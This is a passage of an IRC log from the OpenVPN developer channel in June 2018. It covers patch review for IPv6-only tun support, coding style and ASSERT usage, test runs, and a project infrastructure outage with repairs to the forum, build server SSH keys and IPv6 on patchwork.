IPv4 config, and then fails to set up IPv6 01:20 <@cron2> this is the magic bit: 01:21 <@cron2> --pull-filter accept ifconfig- --pull-filter ignore ifconfig 01:21 <@cron2> because I could not find a way to pass ... ignore 'ifconfig ' into openvpn from t_client.rc 01:21 <@ordex> ah because of the quotes? 01:21 <@cron2> too many layers of quoting and eval - either it passed in the single quotes as well, or ifconfig\ (but no blank) or "no blank"... 01:21 <@ordex> :D 01:22 <@ordex> I see 01:22 <@cron2> but by accepting ifconfig-(ipv6) first, we can then just ignore everything ifconfig and do not have to care for the blank 01:23 <@ordex> I see, smart! 01:23 <@ordex> but why "then fails to set up IPv6" ? the server is pushing no v6 at all in that test? 01:27 <@cron2> of course it does, but "master" can not handle ipv6-only 01:27 <@ordex> ah right 01:27 * ordex stupid 01:27 <@cron2> and that is the point: this test ensures that ipv6-only continues to work in the future :-) 01:28 <@ordex> yup :) 01:28 <@ordex> very cool! 01:28 <@cron2> and "that the patch will make it work" 01:28 <@ordex> yeah 01:28 <@ordex> so now you could run my branch over it and see what happens 01:28 <@ordex> nice 01:28 <@cron2> well, not "your branch" but "the patches posted to the list" - what's not on the list does not exist 01:29 <@cron2> are there any changes in your branch since you posted v2? 01:30 <@ordex> I rebased on top of master 01:31 <@ordex> so one patch is gone and one is fixed with respect to what selva's patch touched 01:31 <@ordex> ("gone" as in "it is in master now" 01:31 <@ordex> ) 01:31 <@cron2> yep 01:31 <@cron2> so, how shall we address commit messages? 01:31 <@ordex> either we discuss them here and I modify them and then send v3 to the ml 01:32 <@ordex> or they can be modified when applying the patches 01:32 <@ordex> as you prefer 02:00 <@cron2> perferably I have nice and shiny commit messages on the list, so I can merge something whenever I find time, without having to discuss the commit message first :-) 02:01 <@cron2> now in this case, since you're awake all the time anyway, I think I'll do the code review and testing first, and then just propose changes to the commit message 02:01 <@cron2> (if needed) 02:01 <@cron2> yesterday I was trying to wrap my head around the open tap6-windows PRs... 02:07 <@ordex> :D 02:08 <@ordex> sounds good, I can do a 'resend' once we are all good 02:08 <@ordex> but I swear I also sleep 02:08 <@ordex> :p 02:09 <@cron2> when I'm starting to merge, and when I'm happy with code & testing, I already have the code in my tree - and having a new version then would incur "git reset" and another "save mail to file, git am on it, prepare reply mail" - so in that case, "git commit --amend" is easier to get a good commit message 02:09 <@cron2> for *code* changes, we want the change on the list 02:11 <@ordex> yap, makes sense. but what about the conflict with Selva's patch? is tat to be considered a code change? or can you fix the conflict while merging? anyway..do what you think is right 02:11 <@cron2> wrt tap6 - even if tincantech hates windows, this NDIS stuff seems to be a fairly nice API... powerful, but still easy to get right 02:11 <@cron2> ordex: well, you could come up with a nice commit message for 1/8 and re-send a v3 of that :-) - won't get to it for the next 2-3 hours anyway 02:11 <@ordex> heh 02:11 <@ordex> ok let me try 02:12 <@cron2> except for the D_LOW conflict this "should" be fine code-wise (from a first glance) 02:12 <@ordex> oky 02:12 <@ordex> actually, I have already extended the commit message when I rebased the patches 02:12 * ordex is so produ 02:12 <@ordex> :D 02:13 <@ordex> *proud 02:13 <@ordex> the buildbot git server is down together with community.o.n 02:13 <@ordex> (just FYI) 02:14 <@ordex> I have informed mattock on our internal chat - assuming he's reading 02:15 <@cron2> meh 02:23 <@ordex> people are working on it 03:48 <@cron2> and please no cc: :) 03:48 <@cron2> and please add "v3: <changed this and that>"... 03:49 <@cron2> (not this time, but as a general habit in future review rounds...) 04:27 <@cron2> plaisthos: are you around? 04:36 <@ordex> cron2: yup, I'll try not to be lazy ;P 04:36 <@ordex> thanks for the thorough review 04:36 <@cron2> I'm not done yet :-) 04:37 <@cron2> (the "new since v2" was acutally there but hidden below the signed-off-by, so I did not see it right away, my mistake) 04:37 <@cron2> thanks for squashing all the argv_printf() 10-line things into proper compact calls 04:38 <@cron2> it has been that way since before I started, and has annoyed me every time I came near it, but I never felt like sending a pure tap function call reformatting patch ;-) 04:46 <@ordex> hehe 04:47 <@ordex> yeah when i copied that I realized that it was the right time to do $something 04:47 <@ordex> I always put the the "changed in vX" part after the "---" so that it does not get included in the git history. There you don't have the other versions of the patch...thus...it's a bit useless. if somebody is curious how we got there can check the link to the mailarchive 04:47 <@ordex> I think 04:48 <@cron2> getting rid of two layers of indentation also helps :) 04:48 <@cron2> (original do_ifconfig() inside if(do_ipv6) vs. do_ifconfig_ipv6()) 04:49 <@ordex> yeah, I also prefer having some "if (!condition) return" at the beginning, rather than having everything indented by default 04:49 <@ordex> (which is what you also suggested for the other function later in your reply) 04:51 <@cron2> after talking for a while, I'm now at ASSERT(tt) because "it really cannot be NULL here" :-) 04:52 <@cron2> the new solaris bits are bit ugly... with a lone 04:52 <@cron2> gc); 04:52 <@cron2> hanging off in the second line 04:53 <@ordex> yeah, poor guy 04:53 <@cron2> I hope our style guide permits 04:53 <@cron2> const char *ifconfig_ipv6_remote = 04:53 <@cron2> print_in6_addr(...); 04:54 <@ordex> well, I suffer a bit when I see that 04:54 <@ordex> :p 04:54 <@cron2> I suffer more than just "a bit" when I see 04:54 <@cron2> gc); 04:54 <@ordex> but that's in line with the style :D 04:54 <@cron2> that is just plain ugly *and* doesn't make sense 04:55 <@ordex> why ugly? 04:55 <@ordex> maybe it would be better to just move the entire assignment on a different line? 04:55 <@cron2> 4 letters, close to the right edge of the screen 04:55 <@cron2> instead of "the function call as one unit" 04:56 <@cron2> if I break lines, I try to find logical units, and "the function call with its parameters" is a natural "unit" 04:56 <@cron2> while "the assigment and half the function call" isn't 04:57 <@ordex> well, personally I find uglier function assining return values right on the declaration of a variable 04:57 <@ordex> especially if they don't fit on one line 04:57 <@ordex> I agree that cutting that function is ugly too 04:57 <@ordex> but I'd rather move the assignment somewhere else 04:57 <@cron2> that might be, but this is what we agreed to for 2.4 - iow, please keep the existing formatting here 04:57 <@ordex> oh ok 04:58 <@cron2> making two statements ("const char *ifconfig_ipv6_remote; ifconfig_ipv6_remote = ...") isn't *really* helping readability either... 04:59 <@cron2> one of the reasons we went for C99 is that we could do these things right where we need the variables :) 04:59 <@cron2> we really need syzzer to be more active again - where's the formatting police when you need them? :) 04:59 <@ordex> :D 05:00 <@ordex> of cut the name of that variable! 05:00 <@ordex> :D 05:00 <@ordex> welll, I am joking - variable names are useful too 05:01 <@cron2> I considered this, and while it's tempting ("const char *ii6r = ...") it's not improving things 05:01 <@ordex> well 05:01 <@ordex> remote_v6 ? 05:01 <@ordex> ifconfig sounds redundant inside do_ifconfig_ipv6() 05:01 <@ordex> maybe even "ipv6" is redundant, no? 05:01 <@cron2> I once had to fix a bug in a friend's code who insisted on using single-letter variable names for everything 05:02 <@ordex> well, that's definitely bad 05:02 <@ordex> it has to be somewhat self descriptive 05:03 <@cron2> I find "local" and "remote" a bit too terse, actually "local_ip" and "remote_ip" would be most descriptive in my eyes ;-) - but let's leave these bits as they are for now, they will get a rework anyway when the sitnl branch hits 05:04 <@ordex> omg 05:04 <@ordex> right 05:06 <@cron2> oh, TARGET_OPENBSD folded into the generic mess for all the BSDs for v6 - nice :) 05:06 <@ordex> yes 05:07 <@ordex> I saw most of the code was duplicated 05:07 <@ordex> and tried to squeeze it 05:07 <@ordex> of course the debug message had to "pay" a bit in descriptiveness 05:08 <@cron2> I wouldn't fold in AIX, tbh, given that it adds two extra #ifdef/endif blocks 05:08 <@cron2> and I would do the add_route_connected_v6_net() with a positive list 05:08 <@cron2> "we need this for NETBSD, DARWIN, OPENBSD" not "we do not need this for x, y, z, and the reader can then figure out what platforms are here that are *not* x, y, z" 05:09 <@ordex> agreed 05:09 <@cron2> given that you have 3 positive and 3 negative matches, you're not saving anything by turning this around :) 05:09 <@cron2> as a nice side note: 05:09 <@cron2> Test sets succeded: 2d 2e 4 4b. 05:09 <@cron2> Test sets failed: none. 05:10 <@ordex> cool :] 05:10 <@cron2> 2e and 4b are "tun with no ipv4" and "tap with no ipv4", run on FreeBSD 05:10 <@cron2> 2d/4 are "standard tun" and "standard tap", as base reference "v4+v6" 05:11 <@cron2> (did not run the full set with ~20 cases now because "not relevant") 05:11 <@cron2> ok, need to go to school for a moment, bbl... then I'll send the comment about OPENBSD/AIX to the list 05:15 <@ordex> thanks! 05:15 <@ordex> plaisthos: does your reply means that if we have no IPv4 we still need to send an "IFCONFIG" of some kind? 05:16 <@ordex> or "IFCONFIG6" alone is enough? 05:16 <@ordex> therefore the order does not matter (v4->v6 or v6->v4)? 06:59 <@cron2> ok, android is fine. Awaiting 0/8 and 1/8 v4 ;-) 07:55 <@plaisthos> ordex: ifconfig6 alone is good enough 07:55 <@plaisthos> ipv6 alone should work in my client from staring at the code but I never tested that 07:58 <@cron2> we can't reasonably test it with current master, as tun.c won't do v6 if there is no v4... 07:59 <@plaisthos> cron2: it might work with openvpn3 07:59 <@plaisthos> :) 08:14 <@vpnHelper> RSS Update - tickets: #342: Cannot connect to VPN from Linux by using ikey3000 token <https://community.openvpn.net/openvpn/ticket/342> || #538: no PIN prompt with PKCS11 when systemd is enabled <https://community.openvpn.net/openvpn/ticket/538> || #765: cleanup tun.c and route.c wrt operating system variants <https://community.openvpn.net/openvpn/ticket/765> || #554: Add support for partial TLS record reads (i.e. support 1/n-1 re 08:39 <@ordex> "But really, WTF..."[cit] +! 08:39 <@ordex> +1 08:39 <@ordex> :D 12:24 <+krzee> i guess you could test an ipv6 ptp link with 2 phones :D 18:42 <@ecrist> dazo: mattock isn't online here - let him know I'm working on the forum box 18:49 <@ecrist> gah 18:49 <@ecrist> looks like the latest backups were incomplete. 18:56 <@ecrist> wheee 18:59 <@ecrist> adsf;lkjasdf;lkjasdf 18:59 <@ecrist> shit apparently blew up at corporate today 19:54 < tincantech> that was krzee and his free baseball bats 19:58 <@ecrist> ah 19:58 <@ecrist> I should have a rudimentary version of the forum up shortly. 19:58 <@ecrist> as in, an hour or so 20:11 < tincantech> wow .. that bad ? 20:13 <@ecrist> yes 20:14 <@ecrist> I don't know full details. I don't have PGP on my phone, and all our internal openvpn mails are encrypted, so I had limited insight while mattock was online 20:15 < tincantech> sheet! 20:17 < tincantech> also, about fucking time ! 20:17 <@ecrist> tincantech: yeah, I handle the forum stuff and mattock emailed me 9 hours ago. I couldn't read them until 2 hours ago. 20:18 <@ecrist> I've been a bit preoccupied, anyhow, my father passed away early monday morning. 20:19 < tincantech> ah .. that sounds very complicated 20:19 < tincantech> sorry about your father 20:20 < tincantech> i would not worry too much about the forum .. sounds like it can wait to me 20:21 <@ecrist> i'm just fighting apache right now 20:21 < tincantech> on FreeBSD right ? 20:35 <@ecrist> yes 21:00 * ecrist leaves it broken 21:00 <@ecrist> I'm going to see if mattock can come up with the file system backups. 21:01 <@ecrist> the DB backups ia couple days old, FWIW 21:01 < tincantech> i really would not worry about it :) 21:02 < tincantech> no activity at all today as it was down 21:02 < tincantech> and not much over the last week anyway 21:19 <@ordex> ayo 21:19 < tincantech> de f ? 21:19 < tincantech> ordex: :) 21:20 < tincantech> you have news ? 21:20 <@ordex> infrastructure issues on AWS as far as I understood 21:23 < tincantech> ah so .. the old 'how long is a piece of string' 21:27 <@ordex> uhm? I don't know that saying 21:29 < tincantech> are you joking ? 21:31 < tincantech> 'how long is a piece of string' = 'it will be ready soon .. ' 21:32 < tincantech> like .. next tuesday o some 21:33 < tincantech> which is the -eq of .. fuck knows 21:34 < tincantech> a.k.a. RTFM 21:36 < tincantech> :) 21:37 < tincantech> as ecrist pointed out my opinion is irrelevant 21:39 <@ordex> :D 21:39 <@ordex> don't think too hard 21:39 <@ordex> it's time to rest anyway hehe 21:39 <@ordex> how long is the string I don't know because I am not involved in the process 21:40 < tincantech> ;) 21:41 < tincantech> "there is no string" 21:41 < tincantech> mehmeh 21:43 < tincantech> it is a Matrix 1/2 quote .. sorry about that 21:43 <@ordex> :D 21:43 <@ordex> movie mood? 21:44 * krzee collects his bats 21:44 < tincantech> ^ lol 21:46 < tincantech> i still think M$ joop github .. stinks 21:47 < tincantech> and i do not believe i am alone .. 21:48 * ordex left already 21:48 <+krzee> i think its great, good for those guyss at github! 21:49 <+krzee> how hard is it to change to another service? ;] 21:54 < tincantech> I only mentioned (again) the M$/github thing because i am desparate for attention 21:55 < tincantech> apart from the desparate bit 21:56 < tincantech> don't really give a monkey either way .. but it is interesting to see $7.5B on code/users/aob 21:58 < tincantech> fling them a kipper and they can balance balls on thier noses 22:07 < tincantech> open and free .. that will do 22:34 <@ordex> never trust the clown! 22:44 <@ordex> cron2: I would not use ASSERT() on close_tun() - I'd rather print a warning and continue. I think tt gets recreated after tun as been closed, no? so killing a server in this condition might be useless? 23:10 * ordex found other glitches in the code --- Day changed Wed Jun 13 2018 01:00 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 01:01 <@mattock_> Good morning 01:01 <@mattock_> Meeting today? 01:01 * ordex is here 01:15 * cron2 too 01:16 <@cron2> ordex: the server will never close its tun, but if you add the check as I suggested to init.c / do_close_tun_simple() it *will* never be NULL 01:17 <@ordex> yes 01:17 <@ordex> did that 01:17 <@ordex> and then added ASSERT in close_tun() as at that point we *demand* as prerequirement that tt is never NULL 01:17 <@ordex> how does it sound? 01:17 <@cron2> thi sis what I suggested :-) 01:17 <@ordex> goed :) 01:17 <@ordex> I grasped it right then hehe 01:17 <@ordex> that is patch -1/8 01:18 <@ordex> then patch 0/8 will do the did_ifconfig restyle 01:18 <@ordex> :D 01:18 <@cron2> ok 01:30 <@mattock_> let's do a meeting then 01:30 <@cron2> meet meet 02:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:28 <@mattock> openvpn-devel list seems to be having issues 02:29 <@mattock> my meeting invitation probably did not arrive, but I sent it 02:33 <@cron2> I think ordex exceeded our weekly allowance, so "no more mail until next week" 02:33 <@ordex> haha 02:34 <@ordex> :D 02:34 <@ordex> am I soon going to be classified as spammer? 02:34 <@ordex> :P 02:40 <@ordex> cron2: should I really call patches -2 -1 and 0 to keep the matching with the other patches? 02:40 <@ordex> (so that 1 to 8 are still the same) 02:41 <@cron2> ordex: up to 3 now? 02:42 <@cron2> just send them as separate series 1, 2, 3 and make it clear in the header mail that this is considered "pre-cleanup" for the other series 02:42 <@ordex> I have added another patch that adds missing gc_free and argv_reset 02:42 <@ordex> unlrelated but touches the same code 02:42 <@cron2> huh 02:42 <@ordex> but ok, will do as you suggested 02:42 <@ordex> I will send them now then, because they are ready 02:45 <@ordex> ah, can't test with buildbot though 03:15 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2018-06-13 03:15 <@vpnHelper> Title: Topics-2018-06-13 – OpenVPN Community (at community.openvpn.net) 03:16 <@ordex> thanks 03:16 <@ordex> added one point 03:19 <@ordex> damn one patch was sent twice 03:27 <@cron2> buildbot still kaput? 03:28 <@ordex> well, I can't push to build.openvpn.net 03:30 <@cron2> v6 is kaput, v4 seems to work 03:31 <@cron2> half my buildslaves are offline anyway... *go fix* 03:31 <@cron2> oh, yeah, and build has a new SSH key... 03:31 <@cron2> what exactly did you people do yesterday? 03:33 <@ordex> nothing did I 03:33 <@ordex> there was not 03:33 <@ordex> :p 03:35 <@ordex> yeah all v6 addresses are not working, it seems 03:35 <@ordex> also the community vpn server 03:35 <@ordex> yeah v4 works 03:36 <@ordex> and yeah, also the buildbot can be accessed 03:36 <@ordex> cron2: however I understand that the VPN might be down for several builders, right? so better not send any buildjob now 03:37 <@cron2> freebsd10 was down because it still had "user nobody" in the config (so when the server changes routes etc., it will fail to restart) 03:37 <@cron2> netbsd70 is hickuping due to "no v6 on the server" 03:38 <@cron2> ... but is back now... 03:42 <@mattock_> cron2: ipv6 is wip 03:43 <@cron2> mattock_: thanks. what happened to the ssh key of build? 03:44 <@ordex> btw, my other pathes reached the ml, therefore it's not an ml issue with mattock_ 03:44 <@ordex> *patches 03:46 <@cron2> so, my buildbots are mostly back, opensolaris should come soon 03:47 <@cron2> tintantech's stuff is all down 03:47 <@cron2> ordex: please try pushing to build 03:47 <@ordex> using v4, right? 03:49 <@ordex> boooom I have to reset the ssh-key 03:49 <@ordex> but it connected 03:49 <@ordex> Please make sure you have the correct access rights 03:49 <@ordex> I am kapot 03:52 <@ordex> can this be fixed now? or does it requires more work? 03:54 <@cron2> I will be a few minutes late for the meting (have to fetch $kid from school, and it's raining - so, car, which takes longer than bicycle) 03:59 <@mattock_> ssh keys on build are puppet-generated so they should be the same as before 04:00 <@cron2> "generated"? you can't "generate the same key" 04:00 <@ordex> mattock_: public key was different - I has to delete the one I had in my known_host - unless provisioned, I guess puppet will simply generate a new one? 04:00 <@mattock_> copied 04:00 <@mattock_> host key has changed 04:01 <@mattock_> user accounts and authorized keys are the same 04:01 <@ordex> I guess mine was never added to puppet? 04:03 <@mattock_> probably not as you had an IPA account 04:04 <@ordex> maybe..but how does that work with git? 04:04 <@ordex> I should do a kinit before pushing ? 04:06 <@cron2> I seem to be able to push to build now 04:06 <@cron2> (I do not have anything in tree now, but it confirms "Everything up-to-date"). 04:06 <@mattock_> good 04:07 <@mattock_> I will create a local account for antonio post-lunch 04:08 <@ordex> mattock_: asn1 is still down, no? 04:16 <@mattock_> yep 04:39 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 05:46 <@ordex> cron2: should we set the entire ipv6-only v2 as needs-change on pw? 05:51 <@cron2> ordex: only 1/8 05:51 <@cron2> the rest hasn't seen review yet... 06:31 <@ordex> cron2: let me clarify what I had in mind 06:31 <@ordex> since it's a patchset and it is getting changed here and there, I thought that it would be bette to resend the entire patchset from scratch with the new patchset added/modified 06:32 <@ordex> do you prefer me sending only the "changed" patches as vX+1 06:33 <@ordex> i.e. v4 for 1/8 only and v3 for 2/8, instead of resending the whole thing? 06:34 <@ecrist> forums are back online. 06:35 <@ordex> cool 06:39 <@cron2> ordex: well, sometimes this, sometimes that 06:39 <@ordex> :D 06:39 <@ordex> yeah, that's why I am asking what you'd prefer in this case. maybe I just wait for you to review the rest and then send a v4 of the entire thing? 06:39 <@cron2> if the turnaround is quick, and the rest of the patch set does not need to change, "just the one patch that got changed" is good (it gets applied, and is gone from the patchwork queue, both "old" and "new") 06:40 <@cron2> if it's like "oh, if we change patch 1, there will be conflicts in 4, 6 and 7, and it needs close review of everything again", the whole set makes sense 06:40 <@ordex> the problem is that I can't gurantee that the other patches will still cleanly apply 06:40 <@ordex> yeah that 06:40 <@ordex> rebase may fix small things on the fly, but your git-am may complain 06:41 <@cron2> well, for the ipv6only patchset, everything tun.c related needs re-sending, but nothing we do today affects route.c or forward.c 06:42 <@ordex> right 06:42 <@cron2> but it really depends more on how quick the turn-around times are - if you see me applying 1/8 and rebase the rest on top, and git tells you "oh, I needed to resort to 5-way merging!!", it also needs a closer look :) 06:43 <@ordex> hehe 06:43 <@ordex> yeah 07:02 <@ordex> cron2: about the ASSERT() do you think I should just remove it from the solaris_close_tun function? Do you think my argument about protecting from "future users" does not stand? because you argument "we call solaris_close_tun always with a valid tt pointer" would also be true for the other close_tun() (now that I have moved the check outside) and thus the ASSERTs would not do anything good, no? 07:06 <@ordex> (this ASSERT thing is always mah) 07:06 <@cron2> ordex: well, the solaris environment is sort of "all in one hand" of whoever maintains that 07:07 <@cron2> actually, solaris_error_close() does not use tt at all, except pass on to close_tun(tt) 07:07 <@ordex> oh 07:07 <@cron2> so the ASSERT(tt) in close_tun() should be good enough 07:07 <@ordex> agreed 07:08 <@ordex> I remove it from th solaris_close_tun() function then 07:08 <@ordex> *the 07:09 <@ordex> actually we are talking about solaris_close_error() 07:10 <@ordex> but I see that solaris_close_tun() can also get rid of the "if (tt)" thing as it is invoked only from close_tun() which already has ASSERT(tt) 07:10 * ordex feels in a loop 07:11 <@ordex> mattock: did you have time to add my accountto build.o.n ? 07:12 <@cron2> ordex: sounds good 07:12 <@cron2> (but yeah, I meant solaris_error_close() ;-) ) 07:13 <@ordex> yeah 07:32 <@ordex> yehaa 07:39 * cron2 wonders why argv isn't operating on gcs... 07:46 <@ordex> hmmm maybe because the argv was always thought to be used in small scopes, while gc is more for long living objects (?) 07:46 <@ordex> even though we use gc also in small scopes now, so argv could definitely use it 07:52 <@cron2> meh, my AIX7 root VM is down, so I can only compile-test it on AIX but not run 07:54 <@cron2> not sure why there is a solaris_close_tun() in the first place 07:55 <@cron2> bah 07:55 <@cron2> rebasing fail 07:55 <@plaisthos> hm we could use a custom free function for argv 07:56 <@plaisthos> so it is automatically freed when the gc is freed 07:56 <@cron2> not even needed if argv_init() would pass a pointer to gc, and all argv malloc()'ing would just use gc_malloc 07:56 <@cron2> but I'm not going to rewrite and review all this 07:56 <@ordex> cron2: yeah, solaris_close_tun is basically invoked only by the solaris-specific close_tun() 07:57 <@plaisthos> I used that to have freeaddrino called on gc_free 07:57 <@cron2> yep 07:57 <@cron2> ordex: there is a rebase fail in 2/3... the patch at hunk @@ -2676,31 +2671,33 07:58 <@cron2> is now bringing *back* a gc_new() that you killed in 1/3 07:58 <@cron2> - struct argv argv = argv_new(); 07:58 <@ordex> uhm 07:58 <@cron2> + struct gc_arena gc = gc_new(); 07:58 <@cron2> + struct argv argv = argv_new(); 07:58 <@ordex> let me check - I may have dne something wrong ? 07:58 <@ordex> cron2: what are you rebasing on top of what? 07:58 <@cron2> I think git got confused 07:58 <@cron2> I am not rebasing, you did :) 07:58 <@cron2> the v2 2/3 patch you sent has this 07:59 <@ordex> ah right 07:59 <@ordex> I see 07:59 <@ordex> hm 07:59 <@ordex> I must have missed that during the rebase yeah.. 07:59 <@ordex> :( 07:59 <@cron2> I'll fix that on the go 08:00 <@ordex> thanks 08:11 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2c 2d 3 4 4a 5 6 8 9. 08:11 <@cron2> Test sets failed: 2e 4b. 08:13 <@ordex> that is freebsd? 08:13 <@cron2> that was freebsd (and 2e/4b are only failing because the ipv6only 1/8 is not yet in :) ) 08:13 <@ordex> ah 08:13 <@ordex> :) 08:13 <@ordex> yehaaa 08:13 <@cron2> linux is at 6 right now 08:14 <@cron2> (since they use the same identity due to laziness on my side, they can't run in parallel) 08:14 <@ordex> "including AIX ("because I can!")" :D 08:15 <@ordex> oky 08:16 <@cron2> I pay 10 EUR/month to polarhome.com for an AIX7 root ``partition'' (sort of docker-thingie) 08:16 <@cron2> so this was a good opportunity to excercise it a bit :) 08:17 <@cron2> now I'm excausted and go clean up the house a bit 08:18 <@plaisthos> that sounds something only something working on Pc would say 08:18 <@vpnHelper> RSS Update - gitrepo: tun: get rid of tt->did_ifconfig member <https://github.com/OpenVPN/openvpn/commit/78c58cfb02c5ca543cc7e0962337003601483e39> || tun: always pass a valid tt pointer <https://github.com/OpenVPN/openvpn/commit/0bea472c98dca8b3470ef863fd90a63b6c79fa68> || tun: ensure gc and argv are properly handled <https://github.com/OpenVPN/openvpn/commit/18225f0fd5c45164308d4d66db055a1ad3960887> 10:29 <@mattock> pwm is now working (https://community.openvpn.net/register) 10:30 <@mattock> I will fix IPv6 thingies now 10:38 <@mattock> IPv6 AAAA recods for build, community and forums has been fixed 10:38 <@mattock> have 10:38 <@mattock> I'll look into IPv6 on patchwork (instance does not have an IP for some reason) 10:38 <@mattock> actually I'll check security groups first to ensure that traffic is not blocked 10:40 <@ordex> patchwork.openvpn.net has no AAAA record 10:40 <@ordex> this is what 9.9.9.9 returned..but maybe it's about cache 10:40 <@ordex> ah ok 10:40 <@ordex> my bad 10:44 <@mattock> ordex: can you try ping6 to build.openvpn.net, community.openvpn.nte and forums.openvpn.net? 10:44 <@ordex> sure 10:44 <@ordex> wow where is community? 10:44 <@mattock> assuming the network iface has an IPv6 address it "should work" 10:45 <@ordex> yeah they all work 10:45 <@mattock> \o/ 10:45 <@ordex> for community: 10:45 <@ordex> rtt min/avg/max/mdev = 6.110/7.769/9.588/1.022 ms 10:45 <@ordex> seems quite close :p 10:45 <@mattock> interesting 10:45 <@mattock> so is that 1 point 022 ms? 10:45 <@mattock> or 1022ms? 10:45 <@mattock> sorry 10:46 <@mattock> misread 10:46 <@ordex> it seems I hit that after the HK cloudflare hop 10:46 <@ordex> so must be some "replica" or cache? 10:46 <@mattock> community is behind cloudflare indeed 10:46 <@ordex> so maybe it's cloudflare replying 10:46 <@mattock> must be 10:58 <@mattock> I will shutdown patchwork temporarily to investigate the "lack of IPv6 address" issue 10:59 <@ordex> k 11:02 <@mattock> back up, IPv6 should work 11:03 < kitsune1> Wow -- rtt of only 6 ms? build.openvpn.net is 64 ms for me by v4. It goes to compute.amazonaws.com 11:03 <@mattock> kitsune1: cloudflare must be the one responding 11:08 < kitsune1> Unfortunately not so for build.openvpn.net. For community cloudfare responds and rtt is 1ms or less, yay! Not sure why build.openvpn.net goes to aws 11:14 < kitsune1> build.openvpn.net with ipv6 is only 1 ms away (pinging from east coast US) but v4 hits one slow hop to aws in ~60 to 70 ms. Could be a temporary issue. 11:16 <@mattock> I believe build.openvpn.net is not on Cloudflare 11:16 <@mattock> and that's not an accident 11:16 < m-a> Germany/Telekom to build.openvpn.net: 190 ms IP v4, 195 ms IP v6. 11:17 < kitsune1> Still v6 is route is fast for me. Not v4. 11:17 <@mattock> cloudflare gets problematic when one has to update downloadable files 11:18 < kitsune1> fast as in latency -- no idea of bandwidth. 11:22 < kitsune1> rtt min/avg/max/mdev = 65.438/65.587/65.753/0.190 ms -- that's the best I can get for build.openvpn.net. So 190ms from Germany sounds reasonable. 11:23 < kitsune1> community is like its across the road: rtt min/avg/max/mdev = 0.858/1.001/1.106/0.081 ms 11:23 <@ordex> :D 11:30 <@plaisthos> community is 26ms v4 and 9ms v6 from telekom 11:30 <@plaisthos> and 5ms is my first hop delay 11:37 <@ordex> the community is close to everyone 11:38 < kitsune1> close-knit community 12:00 < kitsune1> mattock: can't caching be selectively disabled on some files in cloudfare? 13:07 <@mattock> kitsune1: probably, but there are no files on build we want to be cached 13:07 <@mattock> well maybe some, but it's not our main download server anyways 13:08 <@mattock> much of the same stuff is available on swupdate.openvpn.org 13:27 <@cron2> *grumble* opensolaris' openvpn really does not like to restart... if it's not dieing due to "user nobody" it fails in the tun reinit code 13:27 <@cron2> Jun 13 14:06:08 osol10 openvpn[790]: [ID 583609 daemon.error] Can't set PPA 0: File exists (errno=17) 13:27 <@cron2> Jun 13 14:06:08 osol10 openvpn[790]: [ID 583609 daemon.notice] Exiting due to fatal error 13:27 <@cron2> grr 13:31 <@cron2> mattock: pign6 to build, community and forums looks good. patchwork is bad (v6 is in DNS but not working) 13:37 <@mattock> cron2: ok, that is interesting 13:38 <@mattock> will need to investigate 13:41 <@cron2> does v6 to patchwork work from elsewhere? 13:41 <@cron2> does outgoing v6 work? (might be an ACL again that eats ICMPv6 neighbor discovery...) 13:44 <@mattock> ICMPv6 is allowed 13:44 <@mattock> I didn't yet check if the node actually got an IPv6 address (on the host system) 13:44 <@mattock> it should have, but that may not be case 15:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:56 <@vpnHelper> RSS Update - tickets: #1071: --allow-pull-fqdn doesn't work with --route-ipv6 <https://community.openvpn.net/openvpn/ticket/1071> 21:27 <@ordex> cron2: #1071 can probably be easily solved after having merged patch #120 in pw --- Day changed Thu Jun 14 2018 01:48 <@cron2> what the hell is --allow-pull-fqdn... 01:49 <@cron2> oh 01:49 <@cron2> I thought DNS lookups for route & friends was "on by default" if you pass in a hostname, and not depending on yet another option 01:59 <@ordex> apparently that works only for *some* options :/ 01:59 <@ordex> (by default) 01:59 <@ordex> I wonder what the "pull" is for in --allow-pull-fqdn - maybe it affects only options pushed by the server? omg 02:04 <@ordex> yeah..apparently is only for pulled options..but then the guy is probably pushing those options within a ccd file? but my feeling says that the --allow-pull-fqdn should be on the client side and the push route on the server side. maybe --route-ipv6 simply lacks the hostname resolution (like ifconfig-ipv6 does right now). regardless of --allow-pull-fqdn 02:06 <@cron2> yes 04:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:45 <@ordex> sorry for messing up with 1071, but I hadn't seen any update nor I did receive any email about cron2's update 06:45 <@ordex> I removed my comment 06:46 <@ordex> cron2: you can take care of it if you want, I don't want to continue stealing all the networking bits away from you :-P 07:09 <@ordex> cron2: apparently patch #120 already fixes #1071 07:59 <@cron2> ordex: I thought I had set the ticket values, but it seems to have ignored me 08:00 <@ordex> cron2: actually you did, but I did not receive any email and I had my tab idling there without your update....so I wrote my comment and it reset all the values back 08:00 <@ordex> then I restored them to what you did set 08:03 <@cron2> ah 08:03 <@cron2> usually trac warns you on submit... but maybe it decided not to 08:17 <@ordex> yeah, I reacall so too 09:57 <@cron2> mattock: any word on v6 to patchwork? 10:25 * ordex doesn't know much 10:42 <+krzee> https://www.youtube.com/watch?v=UmzsWxPLIOo 11:30 <@mattock> cron2: no word, because I've had nothing but distractions today 11:30 <@mattock> now I have about 1 hour of working time until distractions start again 11:30 <@mattock> although I may get distracted by coworkers... 11:30 <@mattock> I'll try to look into it _now_ before anything gets in the way 11:39 <@mattock> cron2: v6 should work on patchwork now 11:40 <@mattock> if (by accident) "assign public IPv6 address to the instance" is not checked on EC2 then cloud-init -generated networking configuration does not include code to configure IPv6 on the node 11:41 <@mattock> adding an IPv6 address later does not magically fix that 11:43 <@cron2> --- patchwork.openvpn.net ping6 statistics --- 11:43 <@cron2> 2 packets transmitted, 2 packets received, 0.0% packet loss 11:43 <@cron2> \o/ 11:43 <@cron2> thans 11:44 <@cron2> adding patchwork to my v6 monitoring instance :) 11:44 <@mattock> excellent! 11:44 <@mattock> also thank Amazon for finally making IPv6 easy 11:44 <@cron2> +1 11:45 <@cron2> no more he.net tunneling 11:45 